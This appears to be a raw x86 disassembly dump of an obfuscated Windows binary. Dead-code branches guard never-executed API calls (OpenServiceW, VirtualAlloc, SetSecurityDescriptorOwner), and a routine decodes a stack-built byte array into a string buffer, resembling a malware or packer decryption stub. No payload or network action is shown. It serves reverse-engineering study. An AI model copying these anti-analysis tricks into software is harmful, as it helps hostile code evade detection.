mov dword [ebp - 0x180], 0xfffffff9
jmp 0x41d2e5
mov eax, dword [ebp - 0x180]
dec eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0xffffffe3
je 0x41d310
mov dword [ebp - 0x674], 0xfe1ca2
mov dword [ebp - 0x714], 9
mov eax, dword [ebp - 0x674]
mov dword [ebp - 0x714], eax
jmp 0x41d2d8
mov byte [ebp - 0xc0], 0
movzx eax, byte [ebp - 0xc0]
test eax, eax
je 0x41d331
push 0x218b
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov byte [ebp - 0x23c], 0xc
mov byte [ebp - 0x23b], 0x58
mov byte [ebp - 0x23a], 1
mov byte [ebp - 0x239], 0x68
mov byte [ebp - 0x238], 0
mov byte [ebp - 0x237], 0x4c
mov byte [ebp - 0x236], 7
mov byte [ebp - 0x235], 0x70
mov byte [ebp - 0x234], 0xb
mov byte [ebp - 0x233], 0x81
mov byte [ebp - 0x232], 0xa
mov byte [ebp - 0x231], 0x50
mov byte [ebp - 0x230], 4
mov byte [ebp - 0x22f], 0x72
mov byte [ebp - 0x22e], 3
mov byte [ebp - 0x22d], 0x65
mov byte [ebp - 0x22c], 5
mov byte [ebp - 0x22b], 0x83
mov byte [ebp - 0x22a], 9
mov byte [ebp - 0x229], 0x81
mov byte [ebp - 0x228], 2
mov byte [ebp - 0x227], 0x89
mov byte [ebp - 0x226], 8
mov byte [ebp - 0x225], 0x86
mov byte [ebp - 0x224], 6
mov byte [ebp - 0x223], 0x8c
mov byte [ebp - 0x222], 0x15
mov byte [ebp - 0x221], 5
mov byte [ebp - 0x220], 0xba
mov byte [ebp - 0x21f], 0xcd
mov byte [ebp - 0x21e], 0xf1
mov byte [ebp - 0x21d], 0x9b
mov byte [ebp - 0x21c], 0xce
mov byte [ebp - 0x21b], 0x4f
mov byte [ebp - 0x21a], 0x75
mov byte [ebp - 0x219], 0x32
mov byte [ebp - 0x218], 0xd8
mov byte [ebp - 0x217], 0
mov byte [ebp - 0x216], 0x2b
mov byte [ebp - 0x215], 0xf3
mov byte [ebp - 0x214], 0x2f
mov byte [ebp - 0x213], 0x74
mov byte [ebp - 0x212], 0xaa
mov byte [ebp - 0x211], 0x27
mov byte [ebp - 0x210], 0xc4
mov byte [ebp - 0x20f], 0x60
mov byte [ebp - 0x20e], 0x22
mov dword [ebp - 0x14], 0xb7c7ce53
push 3
lea ecx, [ebp - 0x700]
call fcn.004013fc
mov dword [ebp - 0x44], 0
jmp 0x41d49e
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 1
jge 0x41d4b4
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x104], 1
jmp 0x41d497
mov dword [ebp - 0x44], 0
jmp 0x41d4c4
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 3
jge 0x41d4e0
push dword [ebp - 0x44]
lea ecx, [ebp - 0x700]
call fcn.004014ea
mov dword [eax], 0xfa3dfad5
jmp 0x41d4bd
mov dword [ebp - 0x14], 0
jmp 0x41d4f0
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jg 0x41d5ca
mov dword [ebp - 0x67c], 1
mov dword [ebp - 0x148], 0
jmp 0x41d51d
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 2
jge 0x41d539
mov eax, dword [ebp - 0x148]
mov dword [ebp + eax*4 - 0x61c], 0
jmp 0x41d510
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x61c], 0
jmp 0x41d567
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x61c]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x61c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x61c], 0
jl 0x41d5c5
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x104], ecx
jne 0x41d592
mov dword [ebp - 0x5c4], 1
jmp 0x41d599
and dword [ebp - 0x5c4], 0
mov eax, dword [ebp - 0x5c4]
mov dword [ebp - 0x67c], eax
mov byte [ebp - 0xb9], 0
movzx eax, byte [ebp - 0xb9]
test eax, eax
je 0x41d5c3
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
jmp 0x41d54c
jmp 0x41d4e9
mov dword [ebp - 0x14], 0
jmp 0x41d5da
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jl 0x41d6e2
mov dword [ebp - 0x4dc], 3
mov dword [ebp - 0x758], 0x66193fe6
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x104]
mov dword [ebp - 0x828], eax
cmp dword [ebp - 0x14], 0
jne 0x41d6b1
push 0
lea ecx, [ebp - 0x700]
call fcn.004014ea
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x4dc]
cmp dword [ebp + eax*4 - 0x104], ecx
jle 0x41d643
cmp dword [ebp - 0x14], 0
je 0x41d643
mov dword [ebp - 0x3ac], 1
jmp 0x41d64a
and dword [ebp - 0x3ac], 0
push 2
lea ecx, [ebp - 0x700]
call fcn.004014ea
mov eax, dword [eax]
imul eax, dword [ebp - 0x3ac]
test eax, eax
jne 0x41d66d
cmp dword [ebp - 0x4dc], 0
je 0x41d689
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x104], 0
je 0x41d689
mov dword [ebp - 0x3b4], 1
jmp 0x41d690
and dword [ebp - 0x3b4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x104]
imul eax, dword [ebp - 0x3b4]
test eax, eax
jne 0x41d6b1
and dword [ebp - 0x574], 0
jmp 0x41d6bb
mov dword [ebp - 0x574], 1
push 2
lea ecx, [ebp - 0x700]
call fcn.004014ea
mov ecx, dword [ebp - 0x574]
imul ecx, dword [eax]
add ecx, 0x59512e2e
mov dword [ebp - 0x758], ecx
jmp 0x41d5d3
lea ecx, [ebp - 0x700]
call fcn.004014ce
and dword [ebp - 0x64], 0
and dword [ebp - 0x5d0], 0
jmp 0x41d702
mov eax, dword [ebp - 0x64]
inc eax
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0x2f
jae 0x41e4d5
mov dword [ebp - 0x684], 0xffff
push 1
lea ecx, [ebp - 0x7f4]
call fcn.004013fc
mov dword [ebp - 0xe8], 0xfffffff6
push 4
lea ecx, [ebp - 0x7b0]
call fcn.004013fc
mov dword [ebp - 0x5c], 0
jmp 0x41d74a
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 1
jge 0x41d763
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x7f4]
call fcn.004014ea
and dword [eax], 0
jmp 0x41d743
mov dword [ebp - 0x5c], 0
jmp 0x41d773
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 4
jge 0x41d78c
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x7b0]
call fcn.004014ea
and dword [eax], 0
jmp 0x41d76c
cmp dword [ebp - 0x684], 0
je 0x41d82d
push 1
lea ecx, [ebp - 0x93c]
call fcn.004013fc
push 1
lea ecx, [ebp - 0x92c]
call fcn.004013fc
mov dword [ebp - 0x70], 0
jmp 0x41d7c3
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 1
jge 0x41d7dc
push dword [ebp - 0x70]
lea ecx, [ebp - 0x93c]
call fcn.004014ea
and dword [eax], 0
jmp 0x41d7bc
mov dword [ebp - 0x70], 0
jmp 0x41d7ec
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 1
jge 0x41d805
push dword [ebp - 0x70]
lea ecx, [ebp - 0x92c]
call fcn.004014ea
or dword [eax], 0xffffffff
jmp 0x41d7e5
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
lea ecx, [ebp - 0x92c]
call fcn.004014ce
lea ecx, [ebp - 0x93c]
call fcn.004014ce
jmp 0x41d968
mov dword [ebp - 0x2b4], 0x5d2d
mov dword [ebp - 0x724], 0x488a
mov byte [ebp - 0xc2], 0
movzx eax, byte [ebp - 0xc2]
test eax, eax
je 0x41d869
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 0xe8], 0
jmp 0x41d882
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0x14
jl 0x41d968
mov dword [ebp - 0x188], 0xfffffff6
push 0
lea ecx, [ebp - 0x7b0]
call fcn.004014ea
mov dword [ebp - 0x188], 1
cmp dword [ebp - 0x188], 0
mov eax, dword [ebp - 0x188]
imul eax, dword [ebp - 0x2b4]
test eax, eax
jne 0x41d8da
cmp dword [ebp - 0x188], 0
jne 0x41d8da
and dword [ebp - 0x4e4], 0
jmp 0x41d8e4
mov dword [ebp - 0x4e4], 1
mov eax, dword [ebp - 0x2b4]
imul eax, dword [ebp - 0x2b4]
mov dword [ebp - 0x3bc], eax
push 0
lea ecx, [ebp - 0x7f4]
call fcn.004014ea
mov ecx, dword [ebp - 0x3bc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x3bc]
cmp eax, dword [ebp - 0x4e4]
jle 0x41d926
mov dword [ebp - 0x3c4], 1
jmp 0x41d92d
and dword [ebp - 0x3c4], 0
push 1
lea ecx, [ebp - 0x7b0]
call fcn.004014ea
mov ecx, dword [ebp - 0x3c4]
cmp ecx, dword [eax]
jg 0x41d950
mov dword [ebp - 0x5c0], 1
jmp 0x41d957
and dword [ebp - 0x5c0], 0
mov eax, dword [ebp - 0x5c0]
mov dword [ebp - 0x724], eax
jmp 0x41d875
lea ecx, [ebp - 0x7b0]
call fcn.004014ce
lea ecx, [ebp - 0x7f4]
call fcn.004014ce
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x23c]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x64], eax
jne 0x41e211
mov dword [ebp - 0x48], 0xbe1d925b
mov dword [ebp - 0x150], 0
jmp 0x41d9b9
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 2
jge 0x41d9d5
mov eax, dword [ebp - 0x150]
mov dword [ebp + eax*4 - 0x838], 0x261f9c28
jmp 0x41d9ac
mov dword [ebp - 0x48], 1
jmp 0x41d9e5
mov eax, dword [ebp - 0x48]
dec eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jl 0x41da53
mov dword [ebp - 0x190], 9
mov eax, dword [ebp - 0x48]
cmp dword [ebp + eax*4 - 0x838], 0
je 0x41da04
jmp 0x41da53
mov dword [ebp - 0x190], 1
jmp 0x41da1d
mov eax, dword [ebp - 0x190]
dec eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0
jl 0x41da51
mov byte [ebp - 0xc4], 0
movzx eax, byte [ebp - 0xc4]
test eax, eax
je 0x41da4f
push 0xa38
push 0xf1b
push 0x1998
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
jmp 0x41da10
jmp 0x41d9de
mov dword [ebp - 0x48], 0xfffffff4
jmp 0x41da63
mov eax, dword [ebp - 0x48]
dec eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0xffffffe2
je 0x41da82
mov dword [ebp - 0x3cc], 0xfffc
mov eax, dword [ebp - 0x3cc]
inc eax
mov dword [ebp - 0x3cc], eax
jmp 0x41da5c
mov dword [ebp - 0x5d0], 0x15
push 3
lea ecx, [ebp - 0x710]
call fcn.004013fc
mov dword [ebp - 0x158], 0
jmp 0x41dab2
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 3
jge 0x41dad4
push dword [ebp - 0x158]
lea ecx, [ebp - 0x710]
call fcn.004014ea
mov dword [eax], 0xf5540d7f
jmp 0x41daa5
push 0
lea ecx, [ebp - 0x710]
call fcn.004014ea
and dword [eax], 0
jmp 0x41db0a
push 0
lea ecx, [ebp - 0x710]
call fcn.004014ea
mov dword [ebp - 0x4ec], eax
mov eax, dword [ebp - 0x4ec]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x4ec]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x710]
call fcn.004014ea
cmp dword [eax], 0xfffffffc
jge 0x41db3d
mov byte [ebp - 0xc3], 0
movzx eax, byte [ebp - 0xc3]
test eax, eax
je 0x41db3b
push 0x96c
push 0
call dword [sym.imp.USER32.dll_GetSubMenu]
jmp 0x41dae6
lea ecx, [ebp - 0x710]
call fcn.004014ce
mov eax, dword [ebp - 0x64]
add eax, 0x13
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x3c], 0xb0cadfb1
push 4
lea ecx, [ebp - 0x720]
call fcn.004013fc
mov dword [ebp - 0x744], 0x8a907459
mov dword [ebp - 0x1a8], 0
jmp 0x41db8f
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 4
jge 0x41dbb1
push dword [ebp - 0x1a8]
lea ecx, [ebp - 0x720]
call fcn.004014ea
mov dword [eax], 0x66b3e629
jmp 0x41db82
cmp dword [ebp - 0x20], 0
je 0x41e02d
mov dword [ebp - 0x30], 0x61a6b719
mov dword [ebp - 0x20], 0xffffffe7
jmp 0x41dbd2
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xfffffff6
jge 0x41e028
push 1
lea ecx, [ebp - 0x200]
call fcn.004013fc
mov dword [ebp - 0x4f4], 0xb0a6d081
mov dword [ebp - 0x694], 0x7bf5cbf7
mov dword [ebp - 0x768], 4
mov dword [ebp - 0x6a4], 1
mov dword [ebp - 0x160], 0
jmp 0x41dc2a
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 1
jge 0x41dc4c
push dword [ebp - 0x160]
lea ecx, [ebp - 0x200]
call fcn.004014ea
mov dword [eax], 0xfff7
jmp 0x41dc1d
push 0
lea ecx, [ebp - 0x200]
call fcn.004014ea
mov ecx, dword [ebp - 0x20]
add ecx, 0x4952f341
cmp dword [eax], ecx
jg 0x41dc72
mov dword [ebp - 0x57c], 1
jmp 0x41dc79
and dword [ebp - 0x57c], 0
cmp dword [ebp - 0x20], 0x45bbbdeb
jne 0x41dc8e
mov dword [ebp - 0x3d4], 1
jmp 0x41dc95
and dword [ebp - 0x3d4], 0
push 0
lea ecx, [ebp - 0x200]
call fcn.004014ea
mov ecx, dword [ebp - 0x3d4]
cmp ecx, dword [eax]
jne 0x41dcb8
mov dword [ebp - 0x68c], 1
jmp 0x41dcbf
and dword [ebp - 0x68c], 0
push 0
lea ecx, [ebp - 0x200]
call fcn.004014ea
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x57c], eax
jne 0x41dce3
mov dword [ebp - 0x3dc], 1
jmp 0x41dcea
and dword [ebp - 0x3dc], 0
mov eax, dword [ebp - 0x3dc]
mov dword [ebp - 0x4f4], eax
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x4f4], eax
jl 0x41dd0d
mov dword [ebp - 0x3e4], 1
jmp 0x41dd14
and dword [ebp - 0x3e4], 0
cmp dword [ebp - 0x3e4], 0xde9b
jl 0x41dd2c
mov dword [ebp - 0x5e0], 1
jmp 0x41dd33
and dword [ebp - 0x5e0], 0
mov eax, dword [ebp - 0x5e0]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
je 0x41dd46
cmp dword [ebp - 0x20], 0
push 0
lea ecx, [ebp - 0x200]
call fcn.004014ea
cmp dword [eax], 0xc65b0b56
je 0x41dd67
mov dword [ebp - 0x760], 1
jmp 0x41dd6e
and dword [ebp - 0x760], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x850], eax
mov eax, dword [ebp - 0x30]
add eax, 0xf0ad
cmp eax, dword [ebp - 0x20]
mov dword [ebp - 0x694], 0
mov dword [ebp - 0x3c], 0
jmp 0x41dd9c
mov eax, dword [ebp - 0x3c]
dec eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jl 0x41e018
mov dword [ebp - 0x584], 0xfffffffe
cmp dword [ebp - 0x30], 0
je 0x41df12
cmp dword [ebp - 0x20], 1
jbe 0x41ddcc
mov dword [ebp - 0x3ec], 1
jmp 0x41ddd3
and dword [ebp - 0x3ec], 0
cmp dword [ebp - 0x3ec], 0x6bc59458
jge 0x41ddeb
mov dword [ebp - 0x4fc], 1
jmp 0x41ddf2
and dword [ebp - 0x4fc], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x4fc], eax
jg 0x41de09
mov dword [ebp - 0x3f4], 1
jmp 0x41de10
and dword [ebp - 0x3f4], 0
mov eax, dword [ebp - 0x3c]
add eax, dword [ebp - 0x3f4]
mov dword [ebp - 0x584], eax
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x584], eax
jl 0x41de36
mov dword [ebp - 0x3fc], 1
jmp 0x41de3d
and dword [ebp - 0x3fc], 0
cmp dword [ebp - 0x3fc], 0xd208dd2d
jb 0x41de55
mov dword [ebp - 0x504], 1
jmp 0x41de5c
and dword [ebp - 0x504], 0
cmp dword [ebp - 0x504], 0
je 0x41de71
mov dword [ebp - 0x404], 1
jmp 0x41de78
and dword [ebp - 0x404], 0
push 0
lea ecx, [ebp - 0x200]
call fcn.004014ea
mov ecx, dword [ebp - 0x404]
add ecx, dword [eax]
cmp ecx, dword [ebp - 0x30]
jne 0x41de9e
mov dword [ebp - 0x5c8], 1
jmp 0x41dea5
and dword [ebp - 0x5c8], 0
cmp dword [ebp - 0x5c8], 0xffff
jb 0x41debd
mov dword [ebp - 0x40c], 1
jmp 0x41dec4
and dword [ebp - 0x40c], 0
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x200]
call fcn.004014ea
mov ecx, dword [ebp - 0x40c]
cmp ecx, dword [eax]
jle 0x41dee8
mov dword [ebp - 0x50c], 1
jmp 0x41deef
and dword [ebp - 0x50c], 0
push 0
lea ecx, [ebp - 0x200]
call fcn.004014ea
mov ecx, dword [ebp - 0x50c]
cmp ecx, dword [eax]
jg 0x41df12
mov dword [ebp - 0x414], 1
jmp 0x41df19
and dword [ebp - 0x414], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x414], eax
jle 0x41df30
mov dword [ebp - 0x734], 1
jmp 0x41df37
and dword [ebp - 0x734], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x8f0], eax
push 0
lea ecx, [ebp - 0x200]
call fcn.004014ea
cmp dword [ebp - 0x3c], 1
jbe 0x41df5f
mov dword [ebp - 0x69c], 1
jmp 0x41df66
and dword [ebp - 0x69c], 0
push 0
lea ecx, [ebp - 0x200]
call fcn.004014ea
mov eax, 0xfff7
test eax, eax
jne 0x41df8c
push 6
pop eax
test eax, eax
jne 0x41df8c
and dword [ebp - 0x58c], 0
jmp 0x41df96
mov dword [ebp - 0x58c], 1
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x200]
call fcn.004014ea
mov eax, dword [eax]
cmp eax, dword [ebp - 0x58c]
jg 0x41dfc0
cmp dword [ebp - 0x768], 0
jne 0x41dfc0
and dword [ebp - 0x41c], 0
jmp 0x41dfca
mov dword [ebp - 0x41c], 1
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x41c], eax
jle 0x41dfe1
mov dword [ebp - 0x514], 1
jmp 0x41dfe8
and dword [ebp - 0x514], 0
cmp dword [ebp - 0x514], 0x19afca6f
jge 0x41e000
mov dword [ebp - 0x424], 1
jmp 0x41e007
and dword [ebp - 0x424], 0
mov eax, dword [ebp - 0x424]
mov dword [ebp - 0x6a4], eax
jmp 0x41dd95
lea ecx, [ebp - 0x200]
call fcn.004014ce
jmp 0x41dbcb
jmp 0x41e1d3
mov dword [ebp - 0x90], 0x8726abe9
mov dword [ebp - 0x524], 0xfffffffa
mov dword [ebp - 0x594], 0x4b502d48
mov dword [ebp - 0x770], 0x69acb3b3
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x858], eax
cmp dword [ebp - 0x90], 0
je 0x41e07c
cmp dword [ebp - 0x20], 0
je 0x41e07c
mov dword [ebp - 0x600], 1
jmp 0x41e083
and dword [ebp - 0x600], 0
imul eax, dword [ebp - 0x600], 0xde90
test eax, eax
jne 0x41e09a
cmp dword [ebp - 0x90], 0
je 0x41e0af
cmp dword [ebp - 0x90], 0
je 0x41e0af
mov dword [ebp - 0x42c], 1
jmp 0x41e0b6
and dword [ebp - 0x42c], 0
mov esi, dword [ebp - 0x90]
add esi, dword [ebp - 0x42c]
push 3
lea ecx, [ebp - 0x720]
call fcn.004014ea
cmp esi, dword [eax]
jl 0x41e0df
mov dword [ebp - 0x51c], 1
jmp 0x41e0e6
and dword [ebp - 0x51c], 0
mov eax, dword [ebp - 0x90]
cmp eax, dword [ebp - 0x51c]
jle 0x41e100
mov dword [ebp - 0x434], 1
jmp 0x41e107
and dword [ebp - 0x434], 0
mov eax, dword [ebp - 0x434]
mov dword [ebp - 0x594], eax
mov eax, dword [ebp - 0x594]
mov dword [ebp - 0x980], eax
mov eax, dword [ebp - 0x744]
mov dword [ebp - 0x860], eax
mov eax, 0xeb76
test eax, eax
jne 0x41e146
mov eax, 0x8a20
test eax, eax
jne 0x41e146
and dword [ebp - 0x43c], 0
jmp 0x41e150
mov dword [ebp - 0x43c], 1
mov eax, dword [ebp - 0x90]
sub eax, dword [ebp - 0x43c]
jne 0x41e170
mov eax, 0xd66f
test eax, eax
jne 0x41e170
and dword [ebp - 0x6ac], 0
jmp 0x41e17a
mov dword [ebp - 0x6ac], 1
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov dword [ebp - 0x8f8], eax
push 3
lea ecx, [ebp - 0x720]
call fcn.004014ea
mov esi, eax
push 1
lea ecx, [ebp - 0x720]
call fcn.004014ea
mov ecx, dword [esi]
cmp ecx, dword [eax]
jg 0x41e1c0
mov dword [ebp - 0x444], 1
jmp 0x41e1c7
and dword [ebp - 0x444], 0
mov eax, dword [ebp - 0x444]
mov dword [ebp - 0x770], eax
mov byte [ebp - 0x9e], 0
movzx eax, byte [ebp - 0x9e]
test eax, eax
je 0x41e201
push 0x1e6
push 0x6d8
push 0x90c
push 0x2576
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
lea ecx, [ebp - 0x720]
call fcn.004014ce
jmp 0x41d6fa
mov dword [ebp - 0x168], 0
mov dword [ebp - 0x1b0], 0
jmp 0x41e234
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 3
jge 0x41e250
mov eax, dword [ebp - 0x1b0]
mov dword [ebp + eax*4 - 0x9e0], 1
jmp 0x41e227
mov dword [ebp - 0x168], 0
jmp 0x41e269
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 2
jg 0x41e2b4
mov dword [ebp - 0xf0], 0xfffffff6
mov dword [ebp - 0xf0], 0
jmp 0x41e295
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 2
jg 0x41e2b2
mov eax, dword [ebp - 0xf0]
cmp dword [ebp + eax*4 - 0x9e0], 0
je 0x41e2b0
jmp 0x41e2b2
jmp 0x41e288
jmp 0x41e25c
mov byte [ebp - 0xa0], 0
movzx eax, byte [ebp - 0xa0]
test eax, eax
je 0x41e2d5
push 0x19d1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov eax, dword [ebp - 0x64]
movzx eax, byte [ebp + eax - 0x23b]
sub eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x5d0]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x1b8], 0xaf1124f0
mov dword [ebp - 0x1b8], 0xfffffff2
jmp 0x41e316
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0xfffffffa
jge 0x41e35c
mov dword [ebp - 0x44c], 0x9c5a654f
mov eax, dword [ebp - 0x44c]
dec eax
mov dword [ebp - 0x44c], eax
mov byte [ebp - 0xc1], 0
movzx eax, byte [ebp - 0xc1]
test eax, eax
je 0x41e35a
push 1
push 0x6a2
push 0x5af
call dword [sym.imp.USER32.dll_AttachThreadInput]
jmp 0x41e309
cmp dword [ebp - 0x178], 0
jge 0x41e378
mov eax, dword [ebp - 0x178]
add eax, 0x100
mov dword [ebp - 0x178], eax
jmp 0x41e35c
mov dword [ebp - 0xfc], 0xa8c6a53d
mov dword [ebp - 0xf4], 0x7b1891f7
mov dword [ebp - 0xfc], 0xffffffe8
jmp 0x41e3a5
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0x16
jne 0x41e49c
push 1
lea ecx, [ebp - 0x94c]
call fcn.004013fc
mov dword [ebp - 0x170], 0
jmp 0x41e3d8
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 1
jge 0x41e3fa
push dword [ebp - 0x170]
lea ecx, [ebp - 0x94c]
call fcn.004014ea
mov dword [eax], 0xcb03629a
jmp 0x41e3cb
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0xf4], 0
jmp 0x41e41f
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0
jg 0x41e48c
mov dword [ebp - 0x1c0], 1
mov dword [ebp - 0x1c0], 0
jmp 0x41e44b
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0
jg 0x41e48a
mov byte [ebp - 0xa2], 0
movzx eax, byte [ebp - 0xa2]
test eax, eax
je 0x41e488
push 0
push 0
push 0xdef
push 0
push 0x7fe
push 0
push 0x24d5
push 0x25ae
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
jmp 0x41e43e
jmp 0x41e412
lea ecx, [ebp - 0x94c]
call fcn.004014ce
jmp 0x41e398
mov byte [ebp - 0xa4], 0
movzx eax, byte [ebp - 0xa4]
test eax, eax
je 0x41e4b8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
mov eax, dword [ebp - 0x64]
movzx eax, byte [ebp + eax - 0x23c]
mov cl, byte [ebp - 0x178]
mov byte [ebp + eax - 0x814], cl
jmp 0x41d6fa
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0x814], 0
mov dword [ebp - 0x7c4], 1
mov dword [ebp - 0x7c0], 1
mov dword [ebp - 0x7bc], 1
mov dword [ebp - 0x7b8], 1
lea ecx, [ebp - 0x281]
call fcn.004014f9
push eax
lea eax, [ebp - 0x7b4]
push eax
lea eax, [ebp - 0x7c4]
push eax
lea ecx, [ebp - 0xa0c]
call fcn.004014fc
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xa04]
call fcn.004014a8
mov dword [ebp - 0x1c8], 0x29000d4e
mov dword [ebp - 0x6b4], 0x9d4
mov dword [ebp - 0x778], 0x880e033c
mov dword [ebp - 0x1c8], 0
jmp 0x41e577
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 3
jg 0x41e63d
push 4
lea ecx, [ebp - 0x730]
call fcn.004013fc
mov dword [ebp - 0x1d0], 0
jmp 0x41e5aa
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 4
jge 0x41e5cc
push dword [ebp - 0x1d0]
lea ecx, [ebp - 0x730]
call fcn.004014ea
mov dword [eax], 4
jmp 0x41e59d
push 3
lea ecx, [ebp - 0x730]
call fcn.004014ea
mov dword [eax], 3
jmp 0x41e605
push 3
lea ecx, [ebp - 0x730]
call fcn.004014ea
mov dword [ebp - 0x52c], eax
mov eax, dword [ebp - 0x52c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x52c]
mov dword [ecx], eax
push 3
lea ecx, [ebp - 0x730]
call fcn.004014ea
cmp dword [eax], 0
jl 0x41e62d
mov dword [ebp - 0x6b4], 0x5934215e
mov dword [ebp - 0x778], 1
jmp 0x41e5e1
lea ecx, [ebp - 0x730]
call fcn.004014ce
jmp 0x41e56a
lea ecx, [ebp - 0xa04]
call fcn.004014ce
lea eax, [ebp - 0x814]
push eax
lea ecx, [ebp - 0xa5c]
call fcn.00421879
mov edx, dword [ebp - 0x448]
mov ecx, eax
call fcn.00401bd6
mov dword [0xa779e4], eax
lea ecx, [ebp - 0xa5c]
call fcn.0042189c
and dword [ebp - 0x18c], 0
jmp 0x41e68d
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0xe
jae 0x41e965
